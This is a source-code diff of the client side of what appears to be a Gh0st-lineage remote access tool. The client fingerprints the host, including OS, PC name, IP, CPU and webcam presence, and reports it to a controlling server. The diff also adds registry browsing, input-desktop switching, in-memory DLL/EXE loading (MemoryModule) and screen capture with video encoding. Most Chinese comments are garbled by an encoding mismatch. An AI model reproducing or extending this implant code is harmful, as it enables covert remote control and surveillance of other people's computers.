return vname;
}
if (dwMajor == 10 && dwMinor == 0) //win 10
{
vname = "Windows 10";
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
return vname;
}
//<2F><><EFBFBD><EFBFBD><E6B2BB><EFBFBD>ж<EFBFBD>Win Server<65><72><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>˻<EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5>Ļ<EFBFBD><C4BB>ӣ<EFBFBD><D3A3><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//<2F>ж<EFBFBD>win8.1<EFBFBD><EFBFBD><EFBFBD>µİ汾
SYSTEM_INFO info; //<2F><>SYSTEM_INFO<46><EFBFBD>ж<EFBFBD>64λAMD<4D><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
GetSystemInfo(&info); //<2F><><EFBFBD><EFBFBD>GetSystemInfo<66><6F><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
OSVERSIONINFOEX os;
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
if (GetVersionEx((OSVERSIONINFO *)&os))
{
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ汾<DDB0><E6B1BE>Ϣ<EFBFBD>жϲ<D0B6><CFB2><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD>
switch (os.dwMajorVersion)
{ //<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD><E6B1BE>
case 4:
switch (os.dwMinorVersion)
{ //<2F>жϴΰ汾<CEB0><E6B1BE>
case 0:
if (os.dwPlatformId == VER_PLATFORM_WIN32_NT)
vname ="Windows NT 4.0"; //1996<39><36>7<EFBFBD>·<EFBFBD><C2B7><EFBFBD>
else if (os.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
vname = "Windows 95";
break;
case 10:
vname ="Windows 98";
break;
case 90:
vname = "Windows Me";
break;
}
break;
case 5:
switch (os.dwMinorVersion)
{ //<2F>ٱȽ<D9B1>dwMinorVersion<6F><6E>ֵ
case 0:
vname = "Windows 2000"; //1999<39><39>12<31>·<EFBFBD><C2B7><EFBFBD>
break;
case 1:
vname = "Windows XP"; //2001<30><31>8<EFBFBD>·<EFBFBD><C2B7><EFBFBD>
break;
case 2:
if (os.wProductType == VER_NT_WORKSTATION &&
info.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
vname = "Windows XP Professional x64 Edition";
else if (GetSystemMetrics(SM_SERVERR2) == 0)
vname = "Windows Server 2003"; //2003<30><33>3<EFBFBD>·<EFBFBD><C2B7><EFBFBD>
else if (GetSystemMetrics(SM_SERVERR2) != 0)
vname = "Windows Server 2003 R2";
break;
}
break;
case 6:
switch (os.dwMinorVersion)
{
case 0:
if (os.wProductType == VER_NT_WORKSTATION)
vname = "Windows Vista";
else
vname = "Windows Server 2008"; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
break;
case 1:
if (os.wProductType == VER_NT_WORKSTATION)
vname = "Windows 7";
else
vname = "Windows Server 2008 R2";
break;
case 2:
if (os.wProductType == VER_NT_WORKSTATION)
vname = "Windows 8";
else
vname = "Windows Server 2012";
break;
}
break;
default:
vname = "δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ";
}
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
}
else
printf_s("<EFBFBD><EFBFBD><EFBFBD>ȡʧ<EFBFBD><EFBFBD>\n");
return vname;
}
std::string formatTime(const FILETIME& fileTime) {
// ת<><D7AA>Ϊ 64 λʱ<CEBB><CAB1>
ULARGE_INTEGER ull;
ull.LowPart = fileTime.dwLowDateTime;
ull.HighPart = fileTime.dwHighDateTime;
// ת<><D7AA>Ϊ<EFBFBD>뼶ʱ<EBBCB6><CAB1><EFBFBD><EFBFBD>
std::time_t startTime = static_cast<std::time_t>((ull.QuadPart / 10000000ULL) - 11644473600ULL);
// <20><>ʽ<EFBFBD><CABD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
std::tm* localTime = std::localtime(&startTime);
char buffer[100];
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", localTime);
return std::string(buffer);
}
std::string getProcessTime() {
FILETIME creationTime, exitTime, kernelTime, userTime;
// <20><>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD>̵<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>Ϣ
if (GetProcessTimes(GetCurrentProcess(), &creationTime, &exitTime, &kernelTime, &userTime)) {
return formatTime(creationTime);
}
std::time_t now = std::time(nullptr);
std::tm* t = std::localtime(&now);
char buffer[100];
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", t);
return buffer;
}
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, int nType)
{
LOGIN_INFOR LoginInfor;
LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
//<2F><><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>ϵͳ<CFB5><CDB3>Ϣ
LoginInfor.OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx((OSVERSIONINFO *)&LoginInfor.OsVerInfoEx); // ע<><D7A2>ת<EFBFBD><D7AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str());
//<2F><><EFBFBD><EFBFBD>PCName
char szPCName[MAX_PATH] = {0};
gethostname(szPCName, MAX_PATH);
//<2F><><EFBFBD><EFBFBD>ClientIP
sockaddr_in ClientAddr;
memset(&ClientAddr, 0, sizeof(ClientAddr));
int iLen = sizeof(sockaddr_in);
getsockname(ClientObject->m_sClientSocket, (SOCKADDR*)&ClientAddr, &iLen);
DWORD dwCPUMHz;
dwCPUMHz = CPUClockMHz();
@@ -29,12 +197,11 @@ int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
memcpy(LoginInfor.szPCName,szPCName,MAX_PATH);
LoginInfor.dwSpeed = dwSpeed;
LoginInfor.dwCPUMHz = dwCPUMHz;
LoginInfor.ClientAddr = ClientAddr.sin_addr;
LoginInfor.bWebCamIsExist = bWebCamIsExist;
strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
sprintf_s(LoginInfor.szReserved, "%s", GetClientType(nType));
int iRet = ClientObject->OnServerSending((char*)&LoginInfor, sizeof(LOGIN_INFOR));
return iRet;
return LoginInfor;
}
@@ -56,7 +223,7 @@ BOOL WebCamIsExist()
BOOL bOk = FALSE;
char szDeviceName[100], szVer[50];
for (int i = 0; i < 10 && !bOk; i++)
for (int i = 0; i < 10 && !bOk; ++i)
{
bOk = capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName),
//ϵͳ<CFB5><CDB3>API<50><49><EFBFBD><EFBFBD>

View File

@@ -5,17 +5,6 @@
#pragma comment(lib,"Vfw32.lib")
typedef struct _LOGIN_INFOR
{
BYTE bToken; // = 1 //<2F><>½<EFBFBD><C2BD>Ϣ
OSVERSIONINFOEX OsVerInfoEx; // <20><EFBFBD><E6B1BE>Ϣ
DWORD dwCPUMHz; // CPU<50><55>Ƶ
IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL bWebCamIsExist; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
DWORD dwSpeed; // <20><><EFBFBD><EFBFBD>
}LOGIN_INFOR,*PLOGIN_INFOR;
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed);
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, int nType);
DWORD CPUClockMHz();
BOOL WebCamIsExist();

View File

@@ -4,15 +4,127 @@
#include "stdafx.h"
#include "Manager.h"
#include "IOCPClient.h"
#include <process.h>
typedef struct {
unsigned(__stdcall* start_address)(void*);
void* arglist;
bool bInteractive; // <20>Ƿ<EFBFBD>֧<EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
HANDLE hEventTransferArg;
} THREAD_ARGLIST, * LPTHREAD_ARGLIST;
BOOL SelectDesktop(TCHAR* name);
unsigned int __stdcall ThreadLoader(LPVOID param)
{
unsigned int nRet = 0;
try {
THREAD_ARGLIST arg;
memcpy(&arg, param, sizeof(arg));
SetEvent(arg.hEventTransferArg);
// <20><>׿<EFBFBD><EFBFBD><E6BDBB>
if (arg.bInteractive)
SelectDesktop(NULL);
nRet = arg.start_address(arg.arglist);
}
catch (...) {
};
return nRet;
}
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
SIZE_T dwStackSize, // initial stack size
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
LPVOID lpParameter, // thread argument
DWORD dwCreationFlags, // creation option
LPDWORD lpThreadId, bool bInteractive)
{
HANDLE hThread = INVALID_HANDLE_VALUE;
THREAD_ARGLIST arg;
arg.start_address = (unsigned(__stdcall*)(void*))lpStartAddress;
arg.arglist = (void*)lpParameter;
arg.bInteractive = bInteractive;
arg.hEventTransferArg = CreateEvent(NULL, false, false, NULL);
hThread = (HANDLE)_beginthreadex((void*)lpThreadAttributes, dwStackSize, ThreadLoader, &arg, dwCreationFlags, (unsigned*)lpThreadId);
WaitForSingleObject(arg.hEventTransferArg, INFINITE);
CloseHandle(arg.hEventTransferArg);
return hThread;
}
BOOL SelectHDESK(HDESK new_desktop)
{
HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
DWORD dummy;
char new_name[256];
if (!GetUserObjectInformation(new_desktop, UOI_NAME, &new_name, 256, &dummy)) {
return FALSE;
}
// Switch the desktop
if (!SetThreadDesktop(new_desktop)) {
return FALSE;
}
// Switched successfully - destroy the old desktop
CloseDesktop(old_desktop);
return TRUE;
}
// - SelectDesktop(char *)
// Switches the current thread into a different desktop, by name
// Calling with a valid desktop name will place the thread in that desktop.
// Calling with a NULL name will place the thread in the current input desktop.
BOOL SelectDesktop(TCHAR* name)
{
HDESK desktop;
if (name != NULL) {
// Attempt to open the named desktop
desktop = OpenDesktop(name, 0, FALSE,
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
}
else {
// No, so open the input desktop
desktop = OpenInputDesktop(0, FALSE,
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
}
// Did we succeed?
if (desktop == NULL) {
return FALSE;
}
// Switch to the new desktop
if (!SelectHDESK(desktop)) {
// Failed to enter the new desktop, so free it!
CloseDesktop(desktop);
return FALSE;
}
// We successfully switched desktops!
return TRUE;
}
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CManager::CManager(IOCPClient* ClientObject)
CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->g_bExit)
{
m_ClientObject = ClientObject;
m_ClientObject->setManagerCallBack(this);
m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess);
m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL);
}
@@ -33,7 +145,9 @@ int CManager::Send(LPBYTE lpData, UINT nSize)
try
{
nRet = m_ClientObject->OnServerSending((char*)lpData, nSize);
}catch(...){};
}catch(...){
Mprintf("[ERROR] CManager::Send catch an error \n");
};
return nRet;
}

View File

@@ -9,14 +9,22 @@
#pragma once
#endif // _MSC_VER > 1000
#include "..\common\commands.h"
#include "IOCPClient.h"
typedef IOCPClient CClientSocket;
class IOCPClient;
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
SIZE_T dwStackSize, // initial stack size
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
LPVOID lpParameter, // thread argument
DWORD dwCreationFlags, // creation option
LPDWORD lpThreadId, bool bInteractive = false);
class CManager
class CManager : public IOCPManager
{
public:
State&g_bExit; // 1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
CManager(IOCPClient* ClientObject);
virtual ~CManager();

1202
client/MemoryModule.c Normal file

File diff suppressed because it is too large Load Diff

168
client/MemoryModule.h Normal file
View File

@@ -0,0 +1,168 @@
/*
* Memory DLL loading code
* Version 0.0.4
*
* Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de
* http://www.joachim-bauch.de
*
* The contents of this file are subject to the Mozilla Public License Version
* 2.0 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
*
* The Original Code is MemoryModule.h
*
* The Initial Developer of the Original Code is Joachim Bauch.
*
* Portions created by Joachim Bauch are Copyright (C) 2004-2015
* Joachim Bauch. All Rights Reserved.
*
*/
#ifndef __MEMORY_MODULE_HEADER
#define __MEMORY_MODULE_HEADER
#include <windows.h>
typedef void *HMEMORYMODULE;
typedef void *HMEMORYRSRC;
typedef void *HCUSTOMMODULE;
#ifdef __cplusplus
extern "C" {
#endif
typedef LPVOID (*CustomAllocFunc)(LPVOID, SIZE_T, DWORD, DWORD, void*);
typedef BOOL (*CustomFreeFunc)(LPVOID, SIZE_T, DWORD, void*);
typedef HCUSTOMMODULE (*CustomLoadLibraryFunc)(LPCSTR, void *);
typedef FARPROC (*CustomGetProcAddressFunc)(HCUSTOMMODULE, LPCSTR, void *);
typedef void (*CustomFreeLibraryFunc)(HCUSTOMMODULE, void *);
/**
* Load EXE/DLL from memory location with the given size.
*
* All dependencies are resolved using default LoadLibrary/GetProcAddress
* calls through the Windows API.
*/
HMEMORYMODULE MemoryLoadLibrary(const void *, size_t);
/**
* Load EXE/DLL from memory location with the given size using custom dependency
* resolvers.
*
* Dependencies will be resolved using passed callback methods.
*/
HMEMORYMODULE MemoryLoadLibraryEx(const void *, size_t,
CustomAllocFunc,
CustomFreeFunc,
CustomLoadLibraryFunc,
CustomGetProcAddressFunc,
CustomFreeLibraryFunc,
void *);
/**
* Get address of exported method. Supports loading both by name and by
* ordinal value.
*/
FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR);
/**
* Free previously loaded EXE/DLL.
*/
void MemoryFreeLibrary(HMEMORYMODULE);
/**
* Execute entry point (EXE only). The entry point can only be executed
* if the EXE has been loaded to the correct base address or it could
* be relocated (i.e. relocation information have not been stripped by
* the linker).
*
* Important: calling this function will not return, i.e. once the loaded
* EXE finished running, the process will terminate.
*
* Returns a negative value if the entry point could not be executed.
*/
int MemoryCallEntryPoint(HMEMORYMODULE);
/**
* Find the location of a resource with the specified type and name.
*/
HMEMORYRSRC MemoryFindResource(HMEMORYMODULE, LPCTSTR, LPCTSTR);
/**
* Find the location of a resource with the specified type, name and language.
*/
HMEMORYRSRC MemoryFindResourceEx(HMEMORYMODULE, LPCTSTR, LPCTSTR, WORD);
/**
* Get the size of the resource in bytes.
*/
DWORD MemorySizeofResource(HMEMORYMODULE, HMEMORYRSRC);
/**
* Get a pointer to the contents of the resource.
*/
LPVOID MemoryLoadResource(HMEMORYMODULE, HMEMORYRSRC);
/**
* Load a string resource.
*/
int MemoryLoadString(HMEMORYMODULE, UINT, LPTSTR, int);
/**
* Load a string resource with a given language.
*/
int MemoryLoadStringEx(HMEMORYMODULE, UINT, LPTSTR, int, WORD);
/**
* Default implementation of CustomAllocFunc that calls VirtualAlloc
* internally to allocate memory for a library
*
* This is the default as used by MemoryLoadLibrary.
*/
LPVOID MemoryDefaultAlloc(LPVOID, SIZE_T, DWORD, DWORD, void *);
/**
* Default implementation of CustomFreeFunc that calls VirtualFree
* internally to free the memory used by a library
*
* This is the default as used by MemoryLoadLibrary.
*/
BOOL MemoryDefaultFree(LPVOID, SIZE_T, DWORD, void *);
/**
* Default implementation of CustomLoadLibraryFunc that calls LoadLibraryA
* internally to load an additional libary.
*
* This is the default as used by MemoryLoadLibrary.
*/
HCUSTOMMODULE MemoryDefaultLoadLibrary(LPCSTR, void *);
/**
* Default implementation of CustomGetProcAddressFunc that calls GetProcAddress
* internally to get the address of an exported function.
*
* This is the default as used by MemoryLoadLibrary.
*/
FARPROC MemoryDefaultGetProcAddress(HCUSTOMMODULE, LPCSTR, void *);
/**
* Default implementation of CustomFreeLibraryFunc that calls FreeLibrary
* internally to release an additional libary.
*
* This is the default as used by MemoryLoadLibrary.
*/
void MemoryDefaultFreeLibrary(HCUSTOMMODULE, void *);
#ifdef __cplusplus
}
#endif
#endif // __MEMORY_MODULE_HEADER

View File

@@ -6,12 +6,11 @@
#include "RegisterManager.h"
#include "Common.h"
#include <IOSTREAM>
using namespace std;
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
BYTE bToken=TOKEN_REGEDIT;
m_ClientObject->OnServerSending((char*)&bToken, 1);
@@ -19,7 +18,7 @@ CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n):CManager(Cli
CRegisterManager::~CRegisterManager()
{
cout<<"CRegisterManager <20><><EFBFBD><EFBFBD>\n";
Mprintf("CRegisterManager <20><><EFBFBD><EFBFBD>\n");
}
VOID CRegisterManager::OnReceive(PBYTE szBuffer, ULONG ulLength)

View File

@@ -15,10 +15,10 @@
class CRegisterManager : public CManager
{
public:
CRegisterManager(IOCPClient* ClientObject, int n);
CRegisterManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CRegisterManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
VOID CRegisterManager::Find(char bToken, char *szPath);
VOID Find(char bToken, char *szPath);
};
#endif // !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_)

View File

@@ -6,7 +6,6 @@
#include "RegisterOperation.h"
#include "Common.h"
#include <IOSTREAM>
using namespace std;
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
@@ -86,9 +85,11 @@ char* RegisterOperation::FindPath()
if(KeyCount>0&&KeySize>1){
int Size=sizeof(REGMSG)+1;
//buf=new char[KeyCnt*KeySize+size+1];
DWORD DataSize=KeyCount*KeySize+Size+1; //[TOKEN_REG_PATH][2 11 ccccc\0][11][11]
szBuffer=(char*)LocalAlloc(LPTR, DataSize);
if (szBuffer == NULL) {
return NULL;
}
ZeroMemory(szBuffer,DataSize);
szBuffer[0]=TOKEN_REG_PATH; //<2F><><EFBFBD><EFBFBD>ͷ
REGMSG msg; //<2F><><EFBFBD><EFBFBD>ͷ
@@ -149,13 +150,20 @@ char* RegisterOperation::FindKey()
DWORD size=sizeof(REGMSG)+
sizeof(BYTE)*NameCount+ NameSize*NameCount+DataSize*NameCount+10;
szBuffer = (char*)LocalAlloc(LPTR, size);
if (szBuffer==NULL)
{
return NULL;
}
ZeroMemory(szBuffer,size);
szBuffer[0]=TOKEN_REG_KEY; //<2F><><EFBFBD><EFBFBD>ͷ
memcpy(szBuffer+1,(void*)&msg,msgsize); //<2F><><EFBFBD><EFBFBD>ͷ
szValueName=(char *)malloc(NameSize);
szValueDate=(LPBYTE)malloc(DataSize);
if (szValueName==NULL||szValueDate == NULL)
{
return NULL;
}
char *szTemp=szBuffer+msgsize+1;
for(dwIndex=0;dwIndex<NameCount;dwIndex++) //ö<>ټ<EFBFBD>ֵ
{

View File

@@ -14,11 +14,11 @@ class RegisterOperation
public:
RegisterOperation(char bToken);
virtual ~RegisterOperation();
char* RegisterOperation::FindPath();
char* FindPath();
HKEY MKEY;
char KeyPath[MAX_PATH];
void RegisterOperation::SetPath(char *szPath);
char* RegisterOperation::FindKey();
void SetPath(char *szPath);
char* FindKey();
};
#endif // !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_)

BIN
client/Res/ghost.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.2 KiB

BIN
client/Res/msg.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.4 KiB

386
client/ScreenCapture.h Normal file
View File

@@ -0,0 +1,386 @@
#pragma once
#include "stdafx.h"
#include <assert.h>
#include "CursorInfo.h"
#include "../common/commands.h"
#define DEFAULT_GOP 0x7FFFFFFF
#include <vector>
#include <queue>
#include <thread>
#include <mutex>
#include <condition_variable>
#include <functional>
#include <future>
#include "X264Encoder.h"
class ThreadPool {
public:
// <20><><EFBFBD><EFBFBD><ECBAAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̶<EFBFBD><CCB6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
ThreadPool(size_t numThreads) : stop(false) {
for (size_t i = 0; i < numThreads; ++i) {
workers.emplace_back([this] {
while (true) {
std::function<void()> task;
{
std::unique_lock<std::mutex> lock(this->queueMutex);
this->condition.wait(lock, [this] { return this->stop || !this->tasks.empty(); });
if (this->stop && this->tasks.empty()) return;
task = std::move(this->tasks.front());
this->tasks.pop();
}
try {
task();
}
catch (...) {
// <20><><EFBFBD><EFBFBD><EFBFBD>
}
}
});
}
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̳߳<DFB3>
~ThreadPool() {
{
std::unique_lock<std::mutex> lock(queueMutex);
stop = true;
}
condition.notify_all();
for (std::thread& worker : workers)
worker.join();
}
// <20><><EFBFBD><EFBFBD><EFBFBD>
template<typename F>
auto enqueue(F&& f) -> std::future<decltype(f())> {
using ReturnType = decltype(f());
auto task = std::make_shared<std::packaged_task<ReturnType()>>(std::forward<F>(f));
std::future<ReturnType> res = task->get_future();
{
std::unique_lock<std::mutex> lock(queueMutex);
tasks.emplace([task]() { (*task)(); });
}
condition.notify_one();
return res;
}
void waitAll() {
std::unique_lock<std::mutex> lock(queueMutex);
condition.wait(lock, [this] { return tasks.empty(); });
}
private:
std::vector<std::thread> workers;
std::queue<std::function<void()>> tasks;
std::mutex queueMutex;
std::condition_variable condition;
std::atomic<bool> stop;
};
class ScreenCapture
{
public:
ThreadPool* m_ThreadPool; // <20>̳߳<DFB3>
BYTE* m_FirstBuffer; // <20><>һ֡<D2BB><D6A1><EFBFBD><EFBFBD>
BYTE* m_RectBuffer; // <20><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LPBYTE* m_BlockBuffers; // <20>ֿ黺<D6BF><E9BBBA>
ULONG* m_BlockSizes; // <20>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int m_BlockNum; // <20>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD>
LPBITMAPINFO m_BitmapInfor_Full; // BMP<4D><50>Ϣ
BYTE m_bAlgorithm; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>
ULONG m_ulFullWidth; // <20><>Ļ<EFBFBD><C4BB>
ULONG m_ulFullHeight; // <20><>Ļ<EFBFBD><C4BB>
bool m_bZoomed; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
double m_wZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
double m_hZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
int m_FrameID; // ֡<><D6A1><EFBFBD><EFBFBD>
int m_GOP; // <20>ؼ<EFBFBD>֡<EFBFBD><D6A1><EFBFBD><EFBFBD>
bool m_SendKeyFrame; // <20><><EFBFBD>͹ؼ<CDB9>֡
CX264Encoder *m_encoder; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ScreenCapture(BYTE algo = ALGORITHM_DIFF) : m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
m_BitmapInfor_Full(nullptr), m_bAlgorithm(algo),
m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1),
m_FrameID(0), m_GOP(DEFAULT_GOP), m_SendKeyFrame(false), m_encoder(nullptr){
m_BlockNum = 8;
m_ThreadPool = new ThreadPool(m_BlockNum);
//::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)<29><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>׼
//<2F><><EFBFBD><EFBFBD><E7B5B1>Ļ<EFBFBD><C4BB>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Ϊ125%ʱ<><CAB1><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>1.25<EFBFBD>Ŷ<EFBFBD>
DEVMODE devmode;
memset(&devmode, 0, sizeof(devmode));
devmode.dmSize = sizeof(DEVMODE);
devmode.dmDriverExtra = 0;
BOOL Isgetdisplay = EnumDisplaySettingsA(NULL, ENUM_CURRENT_SETTINGS, &devmode);
m_ulFullWidth = devmode.dmPelsWidth;
m_ulFullHeight = devmode.dmPelsHeight;
int w = GetSystemMetrics(SM_CXSCREEN), h = GetSystemMetrics(SM_CYSCREEN);
m_bZoomed = (w != m_ulFullWidth) || (h != m_ulFullHeight);
m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h;
Mprintf("=> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>: %.2f, %.2f\t<EFBFBD>ֱ<EFBFBD><EFBFBD>ʣ<EFBFBD>%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight);
m_wZoom = 1.0 / m_wZoom, m_hZoom = 1.0 / m_hZoom;
if (ALGORITHM_H264 == m_bAlgorithm)
{
m_encoder = new CX264Encoder();
if (!m_encoder->open(m_ulFullWidth, m_ulFullHeight, 20, m_ulFullWidth * m_ulFullHeight / 1266)) {
Mprintf("Open x264encoder failed!!!\n");
}
}
m_BlockBuffers = new LPBYTE[m_BlockNum];
m_BlockSizes = new ULONG[m_BlockNum];
for (int blockY = 0; blockY < m_BlockNum; ++blockY) {
m_BlockBuffers[blockY] = new BYTE[m_ulFullWidth * m_ulFullHeight * 4 * 2 / m_BlockNum + 12];
}
}
virtual ~ScreenCapture(){
if (m_BitmapInfor_Full != NULL) {
delete[](char*)m_BitmapInfor_Full;
m_BitmapInfor_Full = NULL;
}
SAFE_DELETE_ARRAY(m_RectBuffer);
for (int blockY = 0; blockY < m_BlockNum; ++blockY) {
SAFE_DELETE_ARRAY(m_BlockBuffers[blockY]);
}
SAFE_DELETE_ARRAY(m_BlockBuffers);
SAFE_DELETE_ARRAY(m_BlockSizes);
SAFE_DELETE(m_ThreadPool);
SAFE_DELETE(m_encoder);
}
public:
//*************************************** ͼ<><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E3B7A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD> *************************************
virtual ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer,
DWORD ulCompareLength, BYTE algo, int startPostion = 0) {
// Windows<77>һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD>
LPDWORD p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData;
LPBYTE p = szBuffer;
ULONG channel = algo == ALGORITHM_GRAY ? 1 : 4;
ULONG ratio = algo == ALGORITHM_GRAY ? 4 : 1;
for (ULONG i = 0; i < ulCompareLength; i += 4, ++p1, ++p2) {
if (*p1 == *p2)
continue;
ULONG index = i;
LPDWORD pos1 = p1++, pos2 = p2++;
// <20><><EFBFBD><EFBFBD><EFBFBD>м<EFBFBD><D0BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5>ͬ
